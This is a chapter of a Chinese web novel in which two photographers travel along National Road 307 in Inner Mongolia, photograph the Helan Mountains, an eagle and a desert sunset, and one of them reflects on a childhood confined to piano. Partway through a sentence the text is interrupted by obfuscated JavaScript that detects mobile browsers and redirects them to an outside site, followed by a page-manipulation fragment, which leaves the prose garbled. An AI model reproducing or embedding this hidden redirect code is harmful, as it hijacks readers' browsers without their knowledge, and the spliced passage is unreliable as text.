“看看最近杂志的电子刊。” “哦。” “你去洗漱,我们吃点东西然后出发了。” “哦。” 直到已经吃完早餐返回酒店停车场,梁愿醒才迟缓如沥青滴漏实验般反应过来—— “那根本不是小笼包,那是小尺寸的包子,是没有脆底的生煎!” 段青深正在收拾后备箱,问:“你说什……哦,你说早餐。” 挑早餐店的时候其实两个人有点纠结要不要吃当地的早餐,尝试肯定是想尝试一下,然而看见一家门头写着“小笼包/粢饭团/豆浆”的店,还是决定走进去回味一下家乡的味道。原本定好的吃小饭馆取消了,当务之急是去拍作品。 “它怎么能叫‘小笼包’呢!?”梁愿醒开始理解意大利人了,差点五根手指掐一块儿,“他们对小笼包做了什么!?” 段青深关上后备箱,把他头盔递给他,笑了笑,说:“你说的那种小笼包是灌汤小笼包,其实北方大多是这种小号的包子,山东也是这样的。” 戴上头盔继续出发。 时间是七点二十分,段青深计划今天到阿拉善右旗,全程500多公里,7小时,看见能拍的地方就停下来。 自打进到内蒙古之后,梁愿醒都在穿段青深的衣服,他自己带的那些实在无法抵挡祖国西北的气温和大风。 想起前些日子从浙江小镇的民宿去往山东路上时,自己还跟段青深大言不惭说什么“你要是没碰上我可怎么办”,遂叹了口气。如今眼下是“我要是没碰上他可怎么办”。 “醒醒。”对讲耳机里段青深的声音响起来,“右边是贺兰山。” G307公路是一条全长1300多公里的国道,梁愿醒在后面跟车。 出发时天是晴的,没成想只开了20分钟,乌云直接落在贺兰山上。 “贺兰山脸都黑了。”梁愿醒如实相告。 “下来拍几张?”段青深问。 这段国道两边没有护栏,下来是荒漠。可以在碎石的间隙中看见土地的底色是枯黄的,地面立着数不清的电线杆。 国道地上的车道线已经斑驳,路边败色的广告牌下边长了一排行将断气的杂草。再向远看,土地有一种视觉上的“硬”,在阴天下泛着灰,沉默地托举着倚靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14157567|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它生存的一切。 “有骆驼!”梁愿醒惊喜。 车停在国道侧面的野路,梁愿醒摘下头盔,甩了甩脑袋,看着段青深支三脚架。 段青深抬头看过去:“原住民。” 阿拉善盟沙漠里有很多野骆驼,单峰的双峰的,有时候会一起过马路。梁愿醒抱着头盔:“它们在嚼什么?” “吃草。” “小草抗住了沙漠,没抗住骆驼。” “……”段青深把相机递给他,“你往贺兰山那边拍几张,用不同的快门时间都看一下效果,我找一下机位。” “好。” 梁愿醒拿过相机,走去车边,把头盔丢进后座。他低头把相机打开,腕带缠好,冲锋衣在风里哧啦哧啦作响,吵得很。 “诶怎么黑屏了。”梁愿醒赶紧调设置,“进光的问题吗?” “你把镜头盖摘下来。”旁边段青深看着他,“给相机一点上班的仪式感。” “。”梁愿醒无语。 不过确实,自从昨天在酒店房间收到编辑江意的邮件之后,这趟旅途的性质已经变了。所以大家总说千万不要把兴趣变成工作啊,那样你下班了都不知道能干嘛了啊……是有一定道理的。 段青深大约看穿了他在想什么,笑了笑:“小梁助理,先用手里这个拍,拍完之后去找个焦段360的镜头换上,我爬车顶去看看。” 小梁助理点点头表示明白。 梁愿醒重新去拍贺兰山,天气越来越差,风大,乌云渐低,都不是好兆头——但给了画面很强的压迫感。 很多拍大山的摄影作品都带有压迫感,有大自然倾轧过来的窒息感,也无声俯视众生的肃穆。但此时遥远的贺兰山不是那样,它太远了,可能需要1200定才能看出它是一座石头山,这样远的距离属实不太“压迫”。 它看起来,像在镇守它脚下的土地。 梁愿醒按段青深的意思切换快门时间去拍了几张,他手被风刮得生疼,拍摄效果还不错。拍完抬头,段青深已经爬到吉普车顶,在上边支起三脚架。 “拍好了。”梁愿醒抬头,准备把相机递给他时—— “等一下!”梁愿醒又连着相机收回手,“有鸟!” 段青深蹲在车顶边缘,跟着他一起抬头,说…… “人家是鹰。” 梁愿醒没管,举着个35的镜头咔咔咔一顿加特林式连拍。鹰展着双翼滑翔着,观察着土地上有什么能吃的——在人看来,这里太荒凉,植被稀疏,缺少水源,空气干燥。 但鹰不这么认为。这里没有钢筋水泥的高楼和柏油马路,也没有纷乱的灯光。这里有吃有喝,天空大地畅所欲为。 纵使环境已经太乱,梁愿醒的镜头还在追它,鹰忽然俯冲,电线杆和广告牌全部入画,梁愿醒还在拍。 导致段青深蹲在车顶朝他笑着:“这么爱打鸟,你该买尼康啊。” “人家是鹰。”梁愿醒说。 鹰飞远了,拍不到了。 段青深伸手:“给我看看。” 梁愿醒递过去,“徕卡,感动常在!” “嗯,佳能,喜欢您来。” 19.第 19 章 旷野有一种呼啸的静默。那些黑沉沉的云并没有落雨,它们在贺兰山上方示威了一阵子便离开了。 梁愿醒被风刮得没脾气了。他抬头看看车顶的段青深,再扭头,路边是和他们一样自驾的游客,大约是看见国道下边有人爬到车顶拍照,于是自己也开下来一探究竟。 大家都挺专业的,梁愿醒想着。 各种焦段的镜头,相机在三脚架上,一排近十个人,大家或蹲或站,也有个大叔学着段青深爬上车顶,看起来像炮兵连。 远方的野骆驼悠闲地溜达,天边更远的地方有雷声,被风推过来,梁愿醒只听见微弱的嗡鸣。 那就像宇宙中某颗星星发生绚烂的爆炸,但等到光抵达这里,只剩瞬间的明灭。 “怎么样?”梁愿醒问。 “你看看。”段青深把相机取下来,蹲下递给他,然后把三脚架收起来,自己再跳下车。 全画幅相机可以收容进视野中的贺兰山,360mm焦段的镜头足够长,梁愿醒不知道他是怎么拍的……这没法形容,他看着巴掌大的相机屏幕,感觉画面中,黑黢黢的贺兰山和大团的乌云在冷眼对视。 然而又因为这团乌云快飘开了,从云层间隙漏出几缕模糊的光,让画面不至于剑拔弩张。 “怎么样?”换段青深问他了。 “太强了。”梁愿醒说,“山和乌云都很有气势,感觉再靠近点就打起来了。” “怎么打,云对着山呲水?” “?”梁愿醒的情绪整段垮掉,莫名其妙地看了他一眼,“你这嘴,是怎么拍出这种画面的。” “拍照又不用嘴。” 也合理。没怎么听说拿嘴啃快门的。 段青深见他在往前翻,又说:“慢门噪点挺多的,相机屏幕可能看不出来,我拍了十张左右,后期堆栈一下。” “明白。”梁愿醒听他说噪点多,于是放大图像,又问,“你ISO开了多高啊?怎么……” “1200。” “我说呢。”梁愿醒说,“这乌云里的噪点,满天星似的。” “你的嘴也没好到哪去。”段青深打趣道。 “没你那么强的攻击力。”梁愿醒实话实说。 阴天慢门ISO又高,那么噪点是难免的,不过后期降噪堆栈可以拯救,并且让它成为一张很棒的作品。 往前十张都是一模一样的照片,这也是段青深为了后期堆栈拍的素材。然而继续往前翻,是一张沙漠公路。 梁愿醒回头看了一眼它,国道307。 “你还拍了国道啊。”梁愿醒说。 “嗯。”段青深踢了下脚边的碎石头,“正好风把沙子吹路上去了。” 风光摄影师嘛。拍风,拍光。 “那我们现在有两张成片了。”梁愿醒说。 “三张。”段青深说,“还有一张你拍的鹰。” 公路上的那滩沙子被一辆辆驶过的车扫去两旁,继续向西行的路上梁愿醒连导航都不听了,跟着前面的吉普,脑子里在预设着晚上怎么修图调色。 从阿拉善左旗到右旗之间几乎都是无人居住的荒凉地界,从地图上能搜索到加油站,但早些时候,早餐店的老板告诉他们,国道中途的加油站未必会开。不过也不要紧,老板也说,沿途的修车店或钣金店里有的会卖桶油。 当然梁愿醒和段青深也做了最坏的打算,左不过就是摩托车燃油耗尽,最后用拖车绳拴着摩托一路拉去右旗。 不过幸运的是,这阵子还在国庆假期的余波中,有两个加油站都开着,还碰见了当地人临时搭起的可移动的铁皮房,卖点方便面什么的。 梁愿醒吃的是香辣牛肉面。 他属于吃相很讨喜的那类人,没有非常大口,但吃得很认真,每咀嚼一下都让食物死得其所。 “嗯?”梁愿醒眨眨眼。 “哦没事。”段青深移开视线。 “快吃啊,风这么大,分分钟就凉了。”梁愿醒说。 他们在铁皮房里买的方便面,老板给冲了热水,然后扛着三脚架到了铁皮房背后,开始等夕阳。 不知道是不是自己的错觉,梁愿醒觉得秋天的夕阳落得可快了,果然大家越到年尾越不爱上班。所以他们要守在这儿,以防太阳逃窜太快。 吃完面后段青深把面碗拿回铁皮房丢垃圾,走前叫梁愿醒坐到相机前面去盯着。梁愿醒懒得动,屁股也不抬,椅子腿蹭着地挪过去。 露营椅越坐越瘫,这里手机收不到信号,他没有玩手机,就这么看着镜头的方向。 梁愿醒没想到有天自己会坐在旷野上盯梢着一颗恒星。 太阳一寸寸向下,他不太确定这里是戈壁还是荒地,碎石和沙子覆盖了一层,但起风的时候会裸露出下面干硬的土地。 现在这片土地和夕阳是同一个颜色,段青深还没有回来,梁愿醒已经有点急了,于是他更认真地盯着太阳。 他坐直,警惕起来,这个时节天可是说黑就黑,他记得去年秋天他背着吉他进去地下通道,过个马路出来天就黑了。 “呃……”他看向相机屏幕,读题目似的喃喃自语,“白…白平衡自动,ISO100,光圈11……” 自己拍吧,他想,这段青深也不知道搞什么去了,这么久不回来,还给不给江编辑发作品了,杂志还投不投了。这个家根本全靠本小助理顶着。 他设置好连拍间隔,让三脚架上的相机老老实实开始匀速连拍,然后两只手揣回冲锋衣口袋。阿拉善落日的时间里,梁愿醒的脑袋是空的,他完全地在放松。 视野没有阻隔,手机没有信号,世界在休止状态。 此时此刻存在事物是:落日,相机,他自己。 从前梁愿醒的人生一直在走向一个明确且唯一的终点。他像武侠小说里那位江湖强者的遗孤,终有一天会回去母亲的门派,坐上母亲坐过的位置。 这样的事迹总是为人赞颂,我们老x派总算没有绝后,最后他会成为一个别人提起的故事,或一个符号。 小时候姨妈带着他和妹妹逛商场,商场里 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总之总之,梁愿醒没有其他选择,就这么一条窄窄的上山路。而山顶有什么,大家都知道,有无限美好的风光和巅峰荣耀。所有人都明白,登上山顶,这一切都是值得的。 至于“没有人问过我想不想登这座山”这一点,对一个登山世家后代而言——还用问嘛,你生来就是为了…… 有时候梁愿醒坐在琴凳上看着钢琴漆反光里的自己,忽然不知道自己这么多年究竟在干什么。在学琴,还是在替谁向谁偿还什么、证明什么、维持什么。 他觉得自己没有过自主选择的人生——其实不能说得这么极端,毕竟这种说法是相对的。但梁愿醒确实没有其他选项,没有被询问过,钢琴和画画你喜欢哪个?钢琴和足球呢?和陶艺呢? 甚至他都没有乐器上的其他选项,民乐管弦,打击乐,三角铁?……没有的,从最开始就是一架钢琴,琴旁边是一位曾与母亲十分要好的老师,和他说的第一句话是:你越长大,跟知婧越像了。 所以他决定去酒吧唱歌,那是他迈出窄路的第一步,然后他决定去照片里的地方看一看,这是他迈出窄路的第二步。接下来他想找找自己喜欢的事情,或者说,想看看这世界里的其它选项。 “啊。”梁愿醒乍然回神时,太阳已经沉了一半,他赶紧把相机往回翻看效果,效果不好的话现在还能补几张。 接着,背后不远不近的,有人喊他:“醒醒!” 他回头。 段青深拿着手机,在他回头的瞬间按住快门连拍。 拍下了落日、相机,和他。 最后一缕残阳在朔风中退场,日夜交换的短暂时间里,天空荒野浑然一色。 似乎在星辰亮起之前,任何恶作剧都不会被发现。 梁愿醒回头的时候有些错愕,随后看见段青深正在拿手机拍自己。先是失笑,而后了然,他肯定已经站在那儿有一阵子了,但就是不过来。 镜头还在连拍,因为段青深没有把手机放下。梁愿醒拢了下被风吹得乱糟糟的头发,笑着朝他翻了个白眼:“幼稚。”